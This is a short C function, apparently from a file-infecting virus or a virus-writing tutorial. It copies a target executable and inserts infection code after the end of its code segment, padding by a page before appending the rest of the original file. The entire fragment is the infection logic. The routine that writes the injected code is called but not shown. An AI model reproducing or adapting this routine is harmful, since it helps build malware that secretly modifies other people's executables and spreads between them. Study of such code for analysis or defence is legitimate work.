bool target_copy_and_infect(Target* t)
{
  ssize_t size;
  off_t off;
  unsigned code_size;

  TRACE(stderr, "target_copy_and_infect\n");

  /* first part of original target */
  size = write(t->fd_dst, t->p.b, t->end_of_cs);
  CHECK_EQ(size, t->end_of_cs);

  TRACE(stderr, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
    t->end_of_cs, t->aligned_end_of_cs);

  off = lseek(t->fd_dst, t->aligned_end_of_cs, SEEK_SET);
  CHECK_EQ(off, t->aligned_end_of_cs);

  code_size = target_write_infection(t);
  fprintf(stderr, "wrote %u bytes, ", code_size);
  off = lseek(t->fd_dst, t->end_of_cs + TEVWH_PAGESIZE, SEEK_SET);
  CHECK_EQ(off, t->end_of_cs + TEVWH_PAGESIZE);

  /* rest of original target */
  size = write(t->fd_dst, t->p.b + t->end_of_cs, t->filesize - t->end_of_cs);
  CHECK_EQ(size, t->filesize - t->end_of_cs);
  return true;
}
